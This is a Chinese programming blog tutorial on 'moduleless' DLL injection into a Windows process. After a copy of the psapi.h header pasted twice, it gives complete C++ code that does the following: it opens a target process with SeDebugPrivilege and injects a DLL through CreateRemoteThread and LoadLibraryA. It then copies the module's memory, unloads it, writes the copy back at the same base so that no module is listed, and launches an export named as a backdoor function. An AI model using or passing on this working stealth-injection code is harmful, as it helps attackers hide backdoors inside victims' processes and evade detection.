基于visual c++之windows核心编程代码分析（63）无模块dll进程注射

我们在信息安全编程的时候经常需要进行dll进程注入，

我们在编程中如何实现呢。

需要引用

Psapi.Lib，具体可以百度下载之。

其头文件如下，

odule Name:

    psapi.h

Abstract:

    Include file for APIs provided by PSAPI.DLL

Author:

    Richard Shupak   [richards]  06-Jan-1994

Revision History:

--*/

#ifndef _PSAPI_H_
#define _PSAPI_H_

#ifdef __cplusplus
extern "C" {
#endif

BOOL
WINAPI
EnumProcesses(
    DWORD * lpidProcess,
    DWORD   cb,
    DWORD * cbNeeded
    );

BOOL
WINAPI
EnumProcessModules(
    HANDLE hProcess,
    HMODULE *lphModule,
    DWORD cb,
    LPDWORD lpcbNeeded
    );

DWORD
WINAPI
GetModuleBaseNameA(
    HANDLE hProcess,
    HMODULE hModule,
    LPSTR lpBaseName,
    DWORD nSize
    );

DWORD
WINAPI
GetModuleBaseNameW(
    HANDLE hProcess,
    HMODULE hModule,
    LPWSTR lpBaseName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetModuleBaseName  GetModuleBaseNameW
#else
#define GetModuleBaseName  GetModuleBaseNameA
#endif // !UNICODE


DWORD
WINAPI
GetModuleFileNameExA(
    HANDLE hProcess,
    HMODULE hModule,
    LPSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetModuleFileNameExW(
    HANDLE hProcess,
    HMODULE hModule,
    LPWSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetModuleFileNameEx  GetModuleFileNameExW
#else
#define GetModuleFileNameEx  GetModuleFileNameExA
#endif // !UNICODE


typedef struct _MODULEINFO {
    LPVOID lpBaseOfDll;
    DWORD SizeOfImage;
    LPVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;


BOOL
WINAPI
GetModuleInformation(
    HANDLE hProcess,
    HMODULE hModule,
    LPMODULEINFO lpmodinfo,
    DWORD cb
    );


BOOL
WINAPI
EmptyWorkingSet(
    HANDLE hProcess
    );


BOOL
WINAPI
QueryWorkingSet(
    HANDLE hProcess,
    PVOID pv,
    DWORD cb
    );

BOOL
WINAPI
InitializeProcessForWsWatch(
    HANDLE hProcess
    );


typedef struct _PSAPI_WS_WATCH_INFORMATION {
    LPVOID FaultingPc;
    LPVOID FaultingVa;
} PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;

BOOL
WINAPI
GetWsChanges(
    HANDLE hProcess,
    PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,
    DWORD cb
    );

DWORD
WINAPI
GetMappedFileNameW(
    HANDLE hProcess,
    LPVOID lpv,
    LPWSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetMappedFileNameA(
    HANDLE hProcess,
    LPVOID lpv,
    LPSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetMappedFilenameEx  GetMappedFilenameExW
#else
#define GetMappedFilenameEx  GetMappedFilenameExA
#endif // !UNICODE

BOOL
WINAPI
EnumDeviceDrivers(
    LPVOID *lpImageBase,
    DWORD cb,
    LPDWORD lpcbNeeded
    );


DWORD
WINAPI
GetDeviceDriverBaseNameA(
    LPVOID ImageBase,
    LPSTR lpBaseName,
    DWORD nSize
    );

DWORD
WINAPI
GetDeviceDriverBaseNameW(
    LPVOID ImageBase,
    LPWSTR lpBaseName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetDeviceDriverBaseName  GetDeviceDriverBaseNameW
#else
#define GetDeviceDriverBaseName  GetDeviceDriverBaseNameA
#endif // !UNICODE


DWORD
WINAPI
GetDeviceDriverFileNameA(
    LPVOID ImageBase,
    LPSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetDeviceDriverFileNameW(
    LPVOID ImageBase,
    LPWSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetDeviceDriverFileName  GetDeviceDriverFileNameW
#else
#define GetDeviceDriverFileName  GetDeviceDriverFileNameA
#endif // !UNICODE

// Structure for GetProcessMemoryInfo()

typedef struct _PROCESS_MEMORY_COUNTERS {
    DWORD cb;
    DWORD PageFaultCount;
    DWORD PeakWorkingSetSize;
    DWORD WorkingSetSize;
    DWORD QuotaPeakPagedPoolUsage;
    DWORD QuotaPagedPoolUsage;
    DWORD QuotaPeakNonPagedPoolUsage;
    DWORD QuotaNonPagedPoolUsage;
    DWORD PagefileUsage;
    DWORD PeakPagefileUsage;
} PROCESS_MEMORY_COUNTERS;
typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;

BOOL
WINAPI
GetProcessMemoryInfo(
    HANDLE Process,
    PPROCESS_MEMORY_COUNTERS ppsmemCounters,
    DWORD cb
    );

#ifdef __cplusplus
}
#endif

#endif

odule Name:

    psapi.h

Abstract:

    Include file for APIs provided by PSAPI.DLL

Author:

    Richard Shupak   [richards]  06-Jan-1994

Revision History:

--*/

#ifndef _PSAPI_H_
#define _PSAPI_H_

#ifdef __cplusplus
extern "C" {
#endif

BOOL
WINAPI
EnumProcesses(
    DWORD * lpidProcess,
    DWORD   cb,
    DWORD * cbNeeded
    );

BOOL
WINAPI
EnumProcessModules(
    HANDLE hProcess,
    HMODULE *lphModule,
    DWORD cb,
    LPDWORD lpcbNeeded
    );

DWORD
WINAPI
GetModuleBaseNameA(
    HANDLE hProcess,
    HMODULE hModule,
    LPSTR lpBaseName,
    DWORD nSize
    );

DWORD
WINAPI
GetModuleBaseNameW(
    HANDLE hProcess,
    HMODULE hModule,
    LPWSTR lpBaseName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetModuleBaseName  GetModuleBaseNameW
#else
#define GetModuleBaseName  GetModuleBaseNameA
#endif // !UNICODE


DWORD
WINAPI
GetModuleFileNameExA(
    HANDLE hProcess,
    HMODULE hModule,
    LPSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetModuleFileNameExW(
    HANDLE hProcess,
    HMODULE hModule,
    LPWSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetModuleFileNameEx  GetModuleFileNameExW
#else
#define GetModuleFileNameEx  GetModuleFileNameExA
#endif // !UNICODE


typedef struct _MODULEINFO {
    LPVOID lpBaseOfDll;
    DWORD SizeOfImage;
    LPVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;


BOOL
WINAPI
GetModuleInformation(
    HANDLE hProcess,
    HMODULE hModule,
    LPMODULEINFO lpmodinfo,
    DWORD cb
    );


BOOL
WINAPI
EmptyWorkingSet(
    HANDLE hProcess
    );


BOOL
WINAPI
QueryWorkingSet(
    HANDLE hProcess,
    PVOID pv,
    DWORD cb
    );

BOOL
WINAPI
InitializeProcessForWsWatch(
    HANDLE hProcess
    );


typedef struct _PSAPI_WS_WATCH_INFORMATION {
    LPVOID FaultingPc;
    LPVOID FaultingVa;
} PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;

BOOL
WINAPI
GetWsChanges(
    HANDLE hProcess,
    PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,
    DWORD cb
    );

DWORD
WINAPI
GetMappedFileNameW(
    HANDLE hProcess,
    LPVOID lpv,
    LPWSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetMappedFileNameA(
    HANDLE hProcess,
    LPVOID lpv,
    LPSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetMappedFilenameEx  GetMappedFilenameExW
#else
#define GetMappedFilenameEx  GetMappedFilenameExA
#endif // !UNICODE

BOOL
WINAPI
EnumDeviceDrivers(
    LPVOID *lpImageBase,
    DWORD cb,
    LPDWORD lpcbNeeded
    );


DWORD
WINAPI
GetDeviceDriverBaseNameA(
    LPVOID ImageBase,
    LPSTR lpBaseName,
    DWORD nSize
    );

DWORD
WINAPI
GetDeviceDriverBaseNameW(
    LPVOID ImageBase,
    LPWSTR lpBaseName,
    DWORD nSize
    );

#ifdef UNICODE
#define GetDeviceDriverBaseName  GetDeviceDriverBaseNameW
#else
#define GetDeviceDriverBaseName  GetDeviceDriverBaseNameA
#endif // !UNICODE


DWORD
WINAPI
GetDeviceDriverFileNameA(
    LPVOID ImageBase,
    LPSTR lpFilename,
    DWORD nSize
    );

DWORD
WINAPI
GetDeviceDriverFileNameW(
    LPVOID ImageBase,
    LPWSTR lpFilename,
    DWORD nSize
    );

#ifdef UNICODE
#define GetDeviceDriverFileName  GetDeviceDriverFileNameW
#else
#define GetDeviceDriverFileName  GetDeviceDriverFileNameA
#endif // !UNICODE

// Structure for GetProcessMemoryInfo()

typedef struct _PROCESS_MEMORY_COUNTERS {
    DWORD cb;
    DWORD PageFaultCount;
    DWORD PeakWorkingSetSize;
    DWORD WorkingSetSize;
    DWORD QuotaPeakPagedPoolUsage;
    DWORD QuotaPagedPoolUsage;
    DWORD QuotaPeakNonPagedPoolUsage;
    DWORD QuotaNonPagedPoolUsage;
    DWORD PagefileUsage;
    DWORD PeakPagefileUsage;
} PROCESS_MEMORY_COUNTERS;
typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;

BOOL
WINAPI
GetProcessMemoryInfo(
    HANDLE Process,
    PPROCESS_MEMORY_COUNTERS ppsmemCounters,
    DWORD cb
    );

#ifdef __cplusplus
}
#endif

#endif

无模块dll进程注入请见下列代码与分析

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include "Psapi.h"
#include "Tlhelp32.h"


//获得加载的DLL模块的信息，主要包括模块基地址和模块大小
BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread)
{
        HANDLE hthSnapshot = NULL;
        // 取得指定进程的所有模块映象.
        hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID);
        if (hthSnapshot == NULL)
            return FALSE;
        // 取得所有模块列表中的指定的模块.
        BOOL bMoreMods = Module32First(hthSnapshot, &Thread);
        if (bMoreMods == FALSE)
            return FALSE;
        // 循环取得想要的模块.
        for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread))
        {
            if (strcmp(Thread.szExePath, Dllfullname) == 0)
                break;
        }
        if (strcmp(Thread.szExePath, Dllfullname) == 0)
            return TRUE;
        else
            return FALSE;

}
//调整进程权限
BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName)
{
    //******************************************************
    //调整进程权限
    //******************************************************
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    //打开进程的权限标记
    if (!::OpenProcessToken(hProcess,
           TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
           return FALSE;
    //传入lpPrivilegeName的Luid值
    if(!::LookupPrivilegeValue(NULL,
          lpPrivilegeName,
          &tkp.Privileges[0].Luid))
          return FALSE;

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
                         (PTOKEN_PRIVILEGES) NULL, 0))
                         return FALSE;
    return TRUE;
}
//注入DLL部分
BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname)
{

    //开辟虚拟空间，以便写入DLL的完整路径
    PSTR pDllName=NULL;
    if((pDllName=(PSTR)::VirtualAllocEx(hProcess,
        NULL,
        strlen(Dllfullname)+1,
        MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE))==NULL)
        return FALSE;

    BOOL  writecode;
    if((writecode=::WriteProcessMemory(hProcess,
        pDllName,
        Dllfullname,
        strlen(Dllfullname)+1,
        NULL))==0)
        return FALSE;

    //取得LoadLibrary函数在Kernel32.dll中的地址.
    PTHREAD_START_ROUTINE pfnThreadRtn =
            (PTHREAD_START_ROUTINE)GetProcAddress(
            GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    if (pfnThreadRtn== NULL)
        return FALSE;
    //打开远线程
    HANDLE  hRemoteThread=NULL;
    if((hRemoteThread=::CreateRemoteThread(hProcess,
        NULL,
        0,
        pfnThreadRtn,
        pDllName,    //loadlibrary参数，即dll的路径字符串在远程进程中的地址，若是多参数则放在一个结构体中
        0,
        NULL))==NULL)
        return FALSE;
    return TRUE;
}
//卸载DLL
BOOL UnistallDll(HANDLE hProcess,BYTE  * Address)
{

    // 取得FreeLibrary函数在Kernel32.dll中的地址.
    HANDLE hThread  = NULL;
    PTHREAD_START_ROUTINE pfnThreadRtn =
            (PTHREAD_START_ROUTINE)GetProcAddress(
            GetModuleHandle("Kernel32.dll"), "FreeLibrary");
    if (pfnThreadRtn == NULL)
        return FALSE;
    // 创建远程线程来执行FreeLibrary函数.
    hThread = ::CreateRemoteThread(hProcess,
            NULL,
            0,
            pfnThreadRtn,
            Address,
            0,
            NULL);
    if (hThread == NULL)
        return FALSE;
    // 等待远程线程终止.
    ::WaitForSingleObject(hThread, INFINITE);
    // 关闭句柄.
    ::CloseHandle(hThread);
    return TRUE;

}

#define pid 3844
#define BackDoorFun 0x1014//DLL模块中导出函数的地址
int main(int argc, char* argv[])
{
    char Dllfullname[255];
    char Dllname[255];
    //打开进程
    HANDLE hRemoteProcess=NULL;
    if((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS,
        FALSE,
        pid))==NULL)
    {
        printf("OpenProcess faile!!");
        return 0;
    }

    BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME);
    if(Adjust==FALSE)
    {
        printf("Adjust process Privileges faile!!\n");
        return 0;
    }

    //获得DLL的完整路径
    strcpy(Dllname,"dll.dll");
    ::GetCurrentDirectory(255,Dllfullname);
    strcat(Dllfullname,"\\");
    strcat(Dllfullname,Dllname);

    BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname);
    if(Res==FALSE)
    {
        printf("Inject Faile!!\n");
        return 0;
    }

    //等待远线程启动，否则获取不到插入的dll信息
    ::Sleep(300);

    DWORD RemoteTheadAddress=0;
    MODULEENTRY32 Thread = {sizeof(Thread)};;
    RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread);
    if(RemoteTheadAddress==0)
    {
        printf("Get RemoteTheadAddress Faile!!\n");
            return 0;
    }

    //分配保存DLL加载后的的缓冲区，并保存
    char *buffer=new char[Thread.modBaseSize+1];
    DWORD read;
    ::ReadProcessMemory(hRemoteProcess,
        Thread.modBaseAddr,//加载的DLL模块基地址
        buffer,
        Thread.modBaseSize,//加载的DLL代码的大小
        &read);
    //卸载DLL
    BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr);
    if(Unstall==FALSE)
    {
        printf("Unistall dll Faile!!!\n");
        return 0;
    }
    //重新分配虚拟内存，注意从原模块基地址出开始分配
    LPVOID Alloc;
    Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    if(Alloc== NULL)
    {
        printf("VirtualAllocEx Failed!!\n");
        return 0;
    }

    BOOL Writer;DWORD Written;
    Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written);
    if(Writer==0)
    {
        printf("WriteProcessMemory Failed!!\n");
        return 0;
    }
    //重新启动新的无DLL模块的线程中的函数
    HANDLE  hNewThread=NULL;
    if((hNewThread=::CreateRemoteThread(hRemoteProcess,
        NULL,
        0,
        (PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),//添加到进程中的数据的基地址Thread.modBaseAddr+dll导出函数的入口点地址
        NULL, //此处填写导出函数的参数地址，为简单期间，本导出函数没有参数，若有参数可用注入DLL中同样方法写进进程空间中
        0,
        NULL))==NULL)
    {
        printf("CreateNewThread faile!!\n");
        return 0;
    }
    return 0;
}

原文地址：http://blog.csdn.net/yincheng01/article/details/7214469